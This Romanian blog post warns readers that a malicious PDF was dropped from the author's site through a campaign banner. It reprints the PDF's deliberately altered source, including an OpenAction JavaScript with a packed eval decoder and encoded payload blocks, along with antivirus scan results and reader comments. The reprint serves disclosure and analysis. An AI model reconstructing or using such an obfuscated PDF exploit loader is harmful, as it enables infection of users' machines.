Am stat mai bine de o oră să mă gândesc dacă să fac acest avertisment sau nu. Am decis să o fac, cu inima grea. În data de 6 iulie 2009 pe la ora 3 dimineaţa am intrat la mine pe site. Se pare că de acolo am luat ceva. Sunt 12% şanse ca acel ceva să fie naşpa.
Într-un folder localizat în:
c:\documents and settings\[utilizatorul meu]\local settings\temp\[plugin-176]
am găsit un fişier cu denumirea plugin-readme.pdf. Acest plugin a fost copiat automat de fişierul flash ce conţine bannerul campaniei Inima Copiilor. Ştiu, e grav ce spun şi nu sunt chiar nebun. BitDefender mi-a spus că este ceva în neregulă cu el. L-am deschis cu Notepad++ (codul sursă este modficat şi incomplet să nu le vină unora ceva idei creţe):
%PDF-1.3
3 0 obj
<</Type /Page
/Parent 1 0 R
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 481>>
stream[Aici este conţinutul efectiv al fişierului, ceea ce se vede când îl deschizi. Până aici este OK.]
endstream
end0bj
1 0 0bj
<</Type /Pages
/Kids [3 0 R ]
/C0unt 1
/MediaB0x [0 0 595.28 841.89]
>>
end0bj
5 0 0bj
[De aici începe să devină al naibii de suspect.]
[Aici porcii naşparlii declară că se foloseşte un font de text de un anumit tip. Cred că execuţia este chemată prin apelearea fontului.]
<</Type /F0nt
/BaseF0nt /Times-R0man
/Subtype /Type1
/Enc0ding /WinAnsiEnc0ding
[Corect ar fi fost:
<</Type /Font
/BaseFont /Times-Roman
/Subtype /Type1
/Encoding /WinAnsiEncoding
Pentru că la un computer este o diferenţă între BaseFOnt şi BaseFont. O nu este egal cu o. Mai departe.]
>>
end0bj
2 0 0bj
<<
/Pr0cSet [/PDF /Text /ImageB /ImageC /ImageI]
{Parantezele drepte de deasupra nu-mi aparţin. Corect ar fi fost: ProcSet nu PrOcSet. Urmează aplearea fontului, care duce la execuţia funcţiei periculoase.}
/F0nt <<
/F1 5 0 R
>>
/X0bject <<
>>
>>
end0bj
6 0 0bj
<<
/Names [(HUYAKJS) 7 0 R ]
>>
end0bj
7 0 0bj
<<
[Ce se întâmplă aici este suspect rău. Deci îi spunem programului de afişare că avem un cod de program executabil de tip JavaScript. Acesta conţine o funcţie care face ceva. ]
/S /JavaScript
/JS (
functi0n Lhjk1i\(Jg071mv\){
/* 473 * 12 // 9203 */
eval\( Jg071mv \);
}
eval\(functi0n\(
p
,a
,c
,k
,e
,d
\)
{e=functi0n\(c\)
{return\(c<a?”:e\(parseInt\(c/a\)\)\)+\
(\(c=c%a\)>35?String.fr0mCharC0de\(c+29\):c.t0String\(36\)\)};if\(!”.replace\(/^/,String\)\)
{
while\(c–\){d[e\(c\)]=k[c]||e\(c\)
}
k=[functi0n\(e\)
{return d[e]}];e=functi0n\(\){return’\\\\w+’};c=1};
[Cred că acesta este blocul de decriptare a funcţiei. Foloseşte blocurile de date pe care le converteşte, folosind codul complex de mai sus, în ceva lizibil. Ingineria inversată, ca să vedem ce retrunează, o poate face cineva care ştie JavaScript bine de tot. Eu nu.]
while\(c–\){
if\(k[c]\){p=p.replace\(new RegExp\(‘\\\\b’+e\(c\)+’\\\\b’,'g’\),k[c]\)}
}
return p}
\(’1c 2w\(10\){U V=0;U Y="";2y\(V=0;V<10.2x;V++\)
{Y=Y+3p.3r\(10.3m\(V\)^1\)}1u Y}1c 1D\(1F\){1u 2J\(1F\)}U 16=00.2D.20\(\);
16=16.1y\(/\\\\D/g,""\);
[Aici se termină funcţia care face ceva necunoscut. Nicio firmă, companie, etc care se respectă nu foloseşte cod de genul acesta. În continuare avem blocurile de date necesare pentru execuţia funcţiei. Se observă că fiecare blo are datele codificate într-un alt fel faţă de restul.]
U2Y="$2R$2S$1G$3h$2T$h$2P$2r$t"+"2U$2V$2y$2X$2W$2N$1y$t`2F$2E"+
"2C$2G$2H$2M$2L$2K$2I$1G$3e"+"$J$3f$3x$3w$h$3v$3t$J$t"+
"3u$3y$M`$y$J$N$1j$h$3y"+"11$1r$J$r$M`$y$J$13$10"+
[...]
"34$4T$4V$4P$4I$4u$3T$3S$3R"+"$1f$3U$3V$3Y$3X$3W$3r$3P$t"+
"3J$3I$3H$3G$3K$3L$30$3N$3M"+"H$3y$40`$40$4n$4m$4p`l$19$19"+
"$4r$4v$4s$4r$4l$4k$4c$4b$t"+"4a$42$4f$4g$4j"+"";
UW="@k@B@28@47@B@37@p@0@u@n@i@2e@u@i@8@a@41@n@28
@30@29@20@2f@2f@20@22@38@22@20@26@26@20@47@B@37@
p@0@u@n@i@2"+
"e@u@i@8@a@41@n@28@31@29@20@3c@2f@20@22@31@22@20
@26@26@20@47@B@37@p@0@u@n@i@2e@u@i@8@a@41@n@28@32
@29@20@3c@"+
"2f@20@22@32@22@29@L@j@m@54@C@31@8@0@f@w@9@w@20@
2f@20@51@9@32@y@x@i@v@47@y@28@46@37@k@9@E@B@f@8@
28@4e"+
"@y@v@i@r@36@37@C@29@29@3b@j@m@0@8@a@20@34@31@k
@l@H@u@8@20@2f@20@51@9@32@y@x@i@v@47@y@28@22@25
@r@30@6"+
[...]
"w@i@k@f@l@28@52@9@35@38@30@s@x@2e@f@l@9@A@n@i@20
@3c@20@34@34@39@35@32@29@20@52@9@35@38@30@s@x@20
@00@2f@20"+
"@52@9@35@38@30@s@x@3b@j@m@n@i@k@p@2e@u@s@f@f@8@x
@53@n@s@a@l@20@2f@20@34@s@f@f@8@x@2e@u@s@f@f@6"+
"5@u@n@45@G@8@k@f@49@9@B@s@28@L@p@r@x@v@3a@20@22
@22@2c@G@p@A@3a@20@52@9@35@38@30@s@x@I@29@3b@j@I"+
"";
W=W.1y\(/@/g,"%4i"\);
4h\(1D\(W\)\);
‘,62,327,’||||||||61|6e|72|||||6c||t1111|68|
0a|69|65|09|74|76|73|75|7a|6f||63|6a|77|62|6b|
70|67|66|71||78|64|6d|79|7d|t1110|t1113|7b|t90d|
t3411|98|tb390|t9811|t130c|td|t117|var|
Dmyahf1rd|Ecav6vb|t104d|Kgjh5u7b|t4db3|Ty8if0e1r|
||t2011|t0c94|t84gg|Gf7svcth|t9412|t4|
t2129|t54b3|t2315|functi0n|tb7dd|t1034|t707g|t4134|
t1341|t7456|t9179|t9|b3|t248b|tgc91|
length|f0r|t7063|t9834|app|c9|viewerVersi0n|t51|e0b|
tdc19|t9c18|t0051|unescape|t9c6b|t519e|
t10g7|t12|t5d84|t230b|t9917|t1047|return|t147|e77|
t11|replace|t619c|84|tgg34|te1gg|
rn2kbhj3p|t6511|Y940s9|t4647|t13|tc412|t7e74|57b5|
t5b11|tb2|t4565|t7378|t5079|t6570|t4161
|t4165|t38ge|t98g6|t64|tb121|tg398|tg698|t20g8||
tcdb1||t130g|c11|||tce9e|||||||||t0bb7|1100|
t9269|tcc11|t7274|t50|t7575|t7g63|t4c48|t6863|t1150|
t7463|t6262|t7d78|t6954|t4611|F7inxfla|
t10g7|t12|t5d84|t230b|t9917|t1047|return|t147|e77|t11
|replace|t619c|84|tgg34|te1gg|
t2551|t1b51|t0String|t4e11|tde92|t4241|t3440|t11d9|
e201|t75b1|t9c1b|t6921|Nkjhu67r|t5112|||
||||||||||||t4dcd|t1011|tdc57|t8b44|9811|4111|tgg11|
3b7|charC0deAt|t8e11|1111|String|
fr0mCharC0de|t69b3|9834|te7d9|4g11|tdg10|t105d|tcgdd|
t984d|tgg|gg|t84|dc57|t1372|t4g4e|td1b0
|t6372|t1174|t6974|2f75|t6270|t2f79|t65|t1161|t7961|
t6164|t7775|t7b7d|t667g|t555b|t4575|t577g
|t1365|t5b|t5g5e|t1101|t2f5d|tec20|tcc2d|tdedc|gggg|
tgg49|||||td946|||||t4711||t91bd||t4d4g|
|t6111|t5074|t7b78|t6165|t3g2||t7479||||||||4273|
t2e75|t782g|||t7b7b|t257g|Lhjk1i|u00|t8111|
t6179|t612f|t702f|t7b24|t703g|t2|t663g|t747e|t7g72|
t4d|t3444|t7b74|t3694|t12d1|te082|t87g7|
t1213|0c|eb7|t0g94|t4dd8|tdc52|tb798|t94|t115b|te698|
tgb40|t4d15|t6548|tdcb2|7g2|t5b55|t44b2
t1213|0c|eb7|t0g94|t4dd8|tdc52|tb798|t94||||||||te698|
tgb40|t4d15|t6548|tdcb2|7g2|t5b55|t44b2
t47|t10′.split\(‘|’\),0,{}\)\)
[Aici se termină blocurile de date şi funcţia. Acum totul este la locul lui. După decriptare funcţia se poate executa.]
)
>>
end0bj
8 0 0bj
<<
/Pr0ducer (wurIkHTLEWrGrgHVE0)
/Title (rBtgvlreDgIcIFrI)
/Subject (WyUYyLEnkDr0wbyvEm)
/Auth0r (aeuCiCUaPvhspSg)
/Keyw0rds (tBywmrgudBflvJuPltpsN)
/Creat0r (VFIctKMYrsavdYCuum)
/Creati0nDate (D:20090702030347)
>>
end0bj
9 0 0bj
<<
/Type /Catal0g
/Pages 1 0 R
/0penActi0n [3 0 R /FitH null]
/PageLay0ut /0neC0lumn
/Names <</JavaScript 6 0 R>>
>>
end0bj
xref
0 10
0000000000 65535 f
0000000638 00000 n
0000000823 00000 n
0000000009 00000 n
0000000087 00000 n
0000000725 00000 n
0000000927 00000 n
0000000974 00000 n
0000008479 00000 n
0000008570 00000 n
trailer
<<
/Siye 10
/R00t 9 0 R
/Inf0 8 0 R
>>
startxref
8702
%%E0F
După părerea mea (pe cei care şriu mai multă Java ca mine îi rog să mă completeze) aşa hal de cod sursă la un fişier PDF nu are de ce să existe. Nimeni nu scrie, cu intenţii juste, aşa ceva. Mai mult, dacă este cod JavaScript valid nu are de ce să fie criptat. Deci nu, nu cred că este un cod care nu face nimic.
Desigur, am scanat acest fişier care are dimensiunea de 9KB cu Virustotal. Iată rezultatele:
| File de_rahat-_virus.pdf received on 2009.07.06 21:58:55 (UTC) | |||
| Antivirus | Version | Last Update | Result |
| a-squared | 4.5.0.18 | 2009.07.06 | - |
| AhnLab-V3 | 5.0.0.2 | 2009.07.06 | - |
| AntiVir | 7.9.0.204 | 2009.07.06 | - |
| Antiy-AVL | 2.0.3.1 | 2009.07.06 | - |
| Authentium | 5.1.2.4 | 2009.07.06 | PDF/Obfusc.A!Camelot |
| Avast | 4.8.1335.0 | 2009.07.06 | - |
| AVG | 8.5.0.386 | 2009.07.06 | - |
| BitDefender | 7.2 | 2009.07.06 | - |
| CAT-QuickHeal | 10.00 | 2009.07.06 | - |
| ClamAV | 0.94.1 | 2009.07.06 | - |
| Comodo | 1538 | 2009.07.02 | - |
| DrWeb | 5.0.0.12182 | 2009.07.06 | - |
| eSafe | 7.0.17.0 | 2009.07.06 | PDF.Exploit.1 |
| eTrust-Vet | 31.6.6598 | 2009.07.06 | - |
| F-Prot | 4.4.4.56 | 2009.07.06 | - |
| F-Secure | 8.0.14470.0 | 2009.07.06 | - |
| Fortinet | 3.117.0.0 | 2009.07.03 | - |
| GData | 19 | 2009.07.06 | - |
| Ikarus | T3.1.1.64.0 | 2009.07.06 | - |
| Jiangmin | 11.0.706 | 2009.07.06 | - |
| K7AntiVirus | 7.10.785 | 2009.07.06 | - |
| Kaspersky | 7.0.0.125 | 2009.07.06 | - |
| McAfee | 5668 | 2009.07.06 | Exploit-PDF.q.gen |
| McAfee+Artemis | 5668 | 2009.07.06 | Exploit-PDF.q.gen |
| McAfee-GW-Edition | 6.8.5 | 2009.07.06 | - |
| Microsoft | 1.4803 | 2009.07.06 | - |
| NOD32 | 4221 | 2009.07.06 | - |
| Norman | 6.01.09 | 2009.07.06 | - |
| nProtect | 2009.1.8.0 | 2009.07.06 | - |
| Panda | 10.0.0.14 | 2009.07.06 | - |
| PCTools | 4.4.2.0 | 2009.07.06 | - |
| Prevx | 3.0 | 2009.07.06 | - |
| Rising | 21.37.04.00 | 2009.07.06 | - |
| Sophos | 4.43.0 | 2009.07.06 | - |
| Sunbelt | 3.2.1858.2 | 2009.07.05 | Exploit.PDF-JS.Gen (v) |
| Symantec | 1.4.4.12 | 2009.07.06 | - |
| TheHacker | 6.3.4.3.364 | 2009.07.06 | - |
| TrendMicro | 8.950.0.1094 | 2009.07.06 | - |
| VBA32 | 3.12.10.7 | 2009.07.06 | - |
| ViRobot | 2009.7.6.1820 | 2009.07.06 | - |
| VirusBuster | 4.6.5.0 | 2009.07.06 | - |
| Additional information | |||
| File size: 9068 bytes | |||
| MD5 : 8643a5302dd05097835625defe39859b | |||
| SHA1 : b8946ba897524fbe32695e5b7f919afaa23ad831 | |||
|
SHA256: 62f187b4aed952e1f11ec10fff8ad012c74765b73 a8e1aa9d1d12ad5d81328e5 |
|||
| TrID : File type identification Adobe Portable Document Format (50.0%) MATLAB program (50.0%) |
|||
|
ssdeep: 192:6WYQBkj34GqUSDoSIxTWks8RxaGm0GhtGgSE/rfmk3 :6WYQ44GEcS09ghwgS4V |
|||
| PEiD : - | |||
| PDFiD : PDF Header: %PDF-1.3* obj 9* endobj 9* stream 1* endstream 1* xref 1* trailer 1* startxref 1* /Page 1* /Encrypt 0* /ObjStm 0* /JS 1* /JavaScript 2* /AA 0* /OpenAction 1* /JBIG2Decode 0* |
|||
| RDS : NSRL Reference Data Set - |
|||
BitDefender, versiunea 10 (nu 7.2 ca deasupra) spune aşa:
C:\Documents and Settings\ Me \Local Settings\ Temp \plugtmp-176 \plugin-readme.pdf =>(JAVASCRIPT) Infected: Exploit.PDF-JS.Gen
C:\Documents and Settings\ Me \Local Settings\ Temp \plugtmp-176 \plugin-readme.pdf =>(JAVASCRIPT) Disinfection failed
C:\Documents and Settings\ Me \Local Settings \Temp \plugtmp-176 \plugin-readme.pdf =>(JAVASCRIPT) Move failed
Sfatul meu: folosiţi programul Empty Temp Folders ca să fiţi siguri că aţi scăpat de orice ar fi acolo. Nu este un antivirus, dar vă şterge fişierele temporare pe care, altfel, at trebui să le ştergeţi manual. Este simplu de folosit. Dacă nu, nu ezitaţi să lăsaţi un comentariu mai jos.
Rezultatul vizibil al execuţiei fişierului PDF este următorul:
După execuţie s-a creat un fişier cu denumirea de install.dll sau ceva de genul (n-am reţinut, că l-am şters pe loc fiindcă nu apucase să se execute) aflat în:
C:\Documents and Settings\ Me \Local Settings \Temp \
Acum stau şi mă întreb, la ora 3,05 dimineaţa: cât de hain şi de fără inimă să fii să ataci un site al unei campanii umanitare şi al celor care o susţin? Ruşine mă jegoşilor. Ruşine. Sper să muriţi de inimă. Oricum, o aveţi mică mică. Infim de mică.
Oricum, îmi pare rău pentru eventualele neplăceri cauzate.
L.E. Infecţia nu mai are loc dacă vizitaţi această pagină. Fişierul nu se mai copiază. Este bine, totuşi, să verificaţi ca acesta să nu existe, luat de altundeva.







Uneori chiar ma bucur ca am Linux…
Am cautat si eu fisierul ala prin folderul meu home… nu l-am gasit… I\’m a happy guy.
Mi se pare tare ciudat ca mai toate literele \”o\” sunt inlocuite cu \”0\” (zero)… E posibil sa existe o functie care sa le schimbe la loc in \”o\”? Zic si eu. (nu am prea mari cunostinte de js)
Eh, nu e mare chestie… Funcţia e plină de RegExp-uri care transformă codul până se obţine ceva rău. Să îi ia naiba de nenorociţi. Am pus mâna pe două cărţi serioase de JavaScript. Când le-oi termina probabil voi putea da mai multe detalii
Note to @Robin: Bă JavaScript != Java!!! De fapt JavaScript se mai numeşte ECMAScript, dar, nu seamănă de nici o culoare cu Java. JavaScript se interpretează, Java se compilează. JavaScript e loosely typed, Java e strong typed etc.
La mine, BitDefender a găsit un fişier infectat, pe care l-a şters. C:\\Documents and Settings\\Alice\\Application Data\\Microsoft\\winlog.exe, infectat cu Backdoor.Dewnad.C (pe care nu l-am găsit în Virus Encyclopedia de la bitdefender).
Era grav?
:s Cam foarte spre extrem de grav, din păcate! Uite [url=http://sunbeltsecurity.com/threatdisplay.aspx?name=Backdoor.Dewnad.C&tid=4171204&cs=B6C6D1357EB0B4338DFCDC0F6142C897]aici[/url]. :s
Şi acum mai trebuie să fac ceva?
După ce ai scanat nu poţi să mai faci mare lucru decât să aştepţi. Eventual poţi să-ţi schimbi parolele.
Pingback: Cel mai bun antivirus | Reclame | Robintel
Pingback: Spam: O ocazie cum primești o singură dată în viață - virus | Tech | Robintel